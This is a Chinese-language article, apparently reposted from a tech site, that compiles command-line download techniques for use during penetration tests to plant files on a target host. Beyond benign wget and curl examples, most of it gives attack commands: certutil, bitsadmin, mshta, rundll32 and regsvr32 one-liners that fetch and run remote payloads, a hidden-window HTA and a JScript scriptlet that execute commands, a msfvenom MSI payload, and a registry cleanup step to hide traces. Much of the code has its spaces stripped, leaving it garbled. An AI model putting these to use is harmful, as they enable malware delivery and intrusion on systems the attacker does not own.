命令行/终端下载指令大全
来源:开源Linux发布时间:2022-11-151169浏览
询问 AI
在我们渗透测试的过程中,通常会需要向目标主机传送一些文件,来达到提权,维持控制等目的。因此当不方便进行直接传输时,同时目标主机是能有网络连接的,那么此时就可以通过本地下载这种方法来达到文件传输的目的。此篇文章,我会对互联网上针对 win 与 linux 大部分的下载指令来做一个汇总,可能会有疏漏,但汇总的都是经常会用的。
这款工具功能很丰富,可以充当某种功能完备的 GUI 下载管理器,它拥有一款理想的下载管理器所需要的所有功能,比如它可以恢复下载,可以下载多个文件,出现某个连接问题后,可以重新尝试下载,你甚至可以管理最大的下载带宽。
直接下载:
wgethttp://www.sample-videos.com/video/mp4/big.mp4
后台下载:
wget-bhttp://www.sample-videos.com/video/mp4/big.mp4
如果互联网连接出现中断,恢复下载:
wget-chttp://www.sample-videos.com/video/mp4/big.mp4
从某个密码保护的 ftp 软件库下载文件:
wget--ftp-user=<user_name>--ftp-password=<Give_password>Download-url-address
Curl 是另一种高效的下载工具,它可以用来上传或下载文件,只要使用一个简单的命令。它支持暂停和恢复下载程序包,并支持数量最多的 Web 协议,可预测下载完成还剩余多少时间,可通过进度条来显示下载进度。它是所有 Linux 发行版的内置工具。
直接下载:
curl-oum.mp4http://www.sample-videos.com/video/mp4/big.mp4
借助 - o 选项,提供名称,下载文件会以该名称保存;如使用 - O 选项,文件就会以原始名称保存。
这是 wget 的出色替代者,是一款轻量级下载实用工具。它实际上是个加速器,因为它打开了多路 http 连接,可下载独立文件片段,因而文件下载起来更快速。
apt-getinstallaxel
直接下载:
axelhttp://www.sample-videos.com/video/mp4/big.mp4
这是一种开源命令行下载加速器,支持多个端口,你可以使用最大带宽来下载文件,是一款易于安装、易于使用的工具。
apt-getinstallaria2
直接下载:
aria2chttp://www.sample-videos.com/video/mp4/big.mp4
Perl 是一门很吊的语言,使用它基本可以实现任何事情,用它实现文件下载也很简单。
#!perl
#!/usr/bin/perl
useLWP::Simple;
getstore("http://domain/file","file");
执行脚本文件是这样:
perltest.pl
Python 也是很受欢迎的主流脚本语言,代码清晰且简洁:
#!python
#!/usr/bin/python
importurllib2
u=urllib2.urlopen('http://domain/file')
localFile=open('local_file','w')
localFile.write(u.read())
localFile.close()
Ruby 是一个面对对象的语言,Metasploit 框架就是用它来实现的,当然他也可以实现像下载文件这样的小任务。微信搜索公众号:前端技术编程,回复:前端 领取资料 。
#!ruby
#!/usr/bin/ruby
require'net/http'
Net::HTTP.start("www.domain.com"){|http|
r=http.get("/file")
open("save_location","wb"){|file|
file.write(r.body)
}
}
执行脚本文件是这样;
rubytest.rb
PHP 作为一种服务端脚本,也可以实现下载文件这种功能。
#!/usr/bin/php
<?php
$data=@file("http://example.com/file");
$lf="local_file";
$fh=fopen($lf,'w');
fwrite($fh,$data[0]);
fclose($fh);
?>
执行脚本文件是这样:
phptest.php
一般情况下攻击者使用 FTP 上传文件需要很多交互的步骤,下面这个 bash 脚本,考虑到了交互的情况,可以直接执行并不会产生交互动作。
ftp127.0.0.1
username
password
getfile
exit
当然根据实际情况也可以进入交互终端:
ftp192.168.3.2
输入用户名和密码后
lcdE:\file#进入E盘下的file目录
cdwww#进入服务器上的www目录
getaccess.log#将服务器上的access.log下载到E:\file
攻击者的电脑上输入:
catfile|nc-l1234
这个命令会将 file 的内容输出到本地的 1234 端口中,然后不论谁连接此端口,file 的内容将会发送到连接过来的 IP。
目标电脑上的命令:
nchost_ip1234>file
这条命令将连接攻击者的电脑,接受 file 内容保存。
PowerShell 是一种 winodws 原生的脚本语言,对于熟练使用它的人来说,可以实现很多复杂的功能。
下面这两条指令实现了从 Internet 网络下载一个文件。
$p=New-ObjectSystem.Net.WebClient
$p.DownloadFile("http://domain/file""C:\%homepath%\file")
copy\192.168.3.1\c$\test.exeE:\file
cmd.exe/k<\webdavserver\folder\batchfile.txt
可以应用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1, Windows Server 2003 with SP2
certutil-urlcache-split-fhttp://192.168.3.1/test.exefile.exe
certutil-urlcache-split-fhttp://192.168.3.1/test.exedelete#删除缓存
certutil-verifyctl-split-f-splithttp://192.168.3.1/test.exe
#此条命令,会将原文件下载成为临时bin文件,把名字改回来一样可以正常运行
文件下载并执行如下:
certutil-urlcache-split-fhttp://site.com/aa.exea.exedela.execertutil-urlcache-split-fhttp://192.168.254.102:80/adelete
在 1998 年 Visual Basic 最终标准在 windows 上确定。下面的代码可以实现下载文件,虽然它的长度比 Powershell 长多了。微信搜索公众号:架构师指南,回复:架构师 领取资料 。
Setargs=Wscript.Arguments
Url="http://domain/file"
dimxHttp:SetxHttp=createobject("Microsoft.XMLHTTP")
dimbStrm:SetbStrm=createobject("Adodb.Stream")
xHttp.Open"GET",Url,False
xHttp.Send
withbStrm
.type=1'
.open
.writexHttp.responseBody
.savetofile"C:\%homepath%\file",2'
endwith
在 windows 中 Cscript 指令可以允许你执行 VBS 脚本文件或者对 script 脚本做一些设置。在 windows 7 中这个指令并不是必须要用到。但是在 windows XP 中需要使用这条指令,如下所示:
cscripttest.vbs
在 Windows Vista 以及以后的版本中默认有 FTP,可以使用以下命令运行:
上传:
tftp-iIP地址PUTC:\%homepath%\file远程存放位置
下载:
tftp-iIP地址GETC:\%homepath%\file本地存放位置
Bitsadmin 是 Windows 命令行工具,用户可以使用它来创建下载或上传的任务。只能命令下载到指定路径上,win7 以上:
bitsadmin/transfermyDownLoadJob/download/prioritynormal"http://192.168.203.140/b.ps1""E:\\phpstudy_pro\\WWW\\b.ps1"
bitsadmin/rawreturn/transfergetfilehttp://192.168.3.1/test.txtE:\file\test.txt
bitsadmin/rawreturn/transfergetpayloadhttp://192.168.3.1/test.txtE:\file\test.txt
msiexec/q/ihttp://192.168.3.1/calc.png
calc.png:
msfvenom-fmsi-pwindows/execCMD=calc.exe>cacl.png
C:\Windows\Microsoft.NET\Framework\v2.0.50727>caspol-soff
C:\Windows\Microsoft.NET\Framework\v2.0.50727>IEExechttp://192.168.3.1/test.exe
C:\python27\python.exe-c“importurllib2;execurllib2.urlopen(‘http://192.168.3.1/test.zip’).read();”
mshta http://192.168.3.1/run.hta
run.hta 内容如下:
<HTML>
<metahttp-equiv="Content-Type"content="text/html;charset=utf-8">
<HEAD>
<scriptlanguage="VBScript">
Window.ReSizeTo0,0
Window.moveTo-2000,-2000
SetobjShell=CreateObject("Wscript.Shell")
objShell.Run"cmd.exe/cnetuser"//这里填写命令
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
mshtavbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
依赖于 WScript.shell 这个组件:
rundll32.exejavascript:"\..\mshtml,RunHTMLApplication";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://127.0.0.1:8081/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd/ctaskkill/f/imrundll32.exe",0,true);}%
Regsvr32 命令用于注册 COM 组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。
WinXP 及以上系统的 regsvr32.exe 在 windows\system32 文件夹下;2000 系统的 regsvr32.exe 在 winnt\system32 文件夹下。
regsvr32/u/s/i:http://192.168.3.1/test.datascrobj.dll
test.data 内容:
<?XMLversion="1.0"?>
<scriptlet>
<registration
progid="ShortJSRAT"
classid="{10001111-0000-0000-0000-0000FEEDACDC}">
<!--LearnfromCaseySmith@subTee-->
<scriptlanguage="JScript">
<![CDATA[
ps="cmd.exe/ccalc.exe";
newActiveXObject("WScript.Shell").Run(ps,0,true);
]]>
</script>
</registration>
</scriptlet>
还可以利用
https://github.com/CroweCybersecurity/ps1encode 生成 sct 文件:
regsvr32/u/s/i:http://192.168.3.1/test.sctscrobj.dll
Windows shares 可以加载一个驱动器,然后用命令来复制文件。
加载远程驱动:
netusex:\\127.0.0.1\share/user:example.com\userIDmyPassword
当需要把一个 exe 文件放到目标计算机上时,Nishang 可以使用 PowerShell 允许你把一个 exe 转换成 hex,然后把 hex 再转换成原来的 exe 文件:
把 exe 转成 hex 文件输入:
PS>.\ExetoText.ps1evil.exeevil.txt
打开 evil.txt 文件,复制内容,然后通过 RDP 的剪贴板复制进目标计算机,把 hex 文件还原成 exe 文件输入:
PS>.\TexttoExe.ps1evil.textevil.exe
1.MSXSL.EXE
msxsl.exe 是微软用于命令行下处理 XSL 的一个程序,所以通过他,我们可以执行 JavaScript 进而执行系统命令。
2.pubprn.vbs
在 Windows 7 以上版本存在一个名为 PubPrn.vbs 的微软已签名 WSH 脚本,其位于
C:\Windows\System32\Printing_Admin_Scripts\en-US
3.esentutl.exe/extrac32.exe
esentutl.exe/y"\\172.16.249.149\sharemimikatz_trunk.zip"/d"C:\Users\Public\mimikatz_trunk.zip"/0
extrac32.exe/Y/C\\172.16.249.149\share\test.txtC:\Users\Public\test.txt

4.desktopimgdownldr.exe
desktopimgdownldr.exe 位于 Win10 的 system32 文件夹中,原本用于设置锁定屏幕或桌面背景图像的。
普通用户可以用:
set"SYSTEMROOT=C:\ProgramData"cmd/cdesktopimgdownldr.exe/lockscreenurl:http://url/xxx.exe/eventName:desktopimgdownldr
这样来下载文件。

可以把 C:\ProgramData 来改成一个普通用户可写的目录。
下载的文件存放于:
C:\ProgramData\Personalization\LockScreenImage\x_%random%.exe.

管理员用户会多写一个注册表项,所以管理员最好的命令是:
set"SYSTEMROOT=C:\ProgramData\"cmd/cdesktopimgdownldr.exe/lockscreenurl:https://url/file.exe/eventName:desktopimgdownldrregdeleteHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP/f
新闻来源:开源Linux,文中所述为作者独立观点,不代表icspec立场。更多精彩资讯请下载icspec App。如对本稿件有异议,请联系微信客服specltkj。



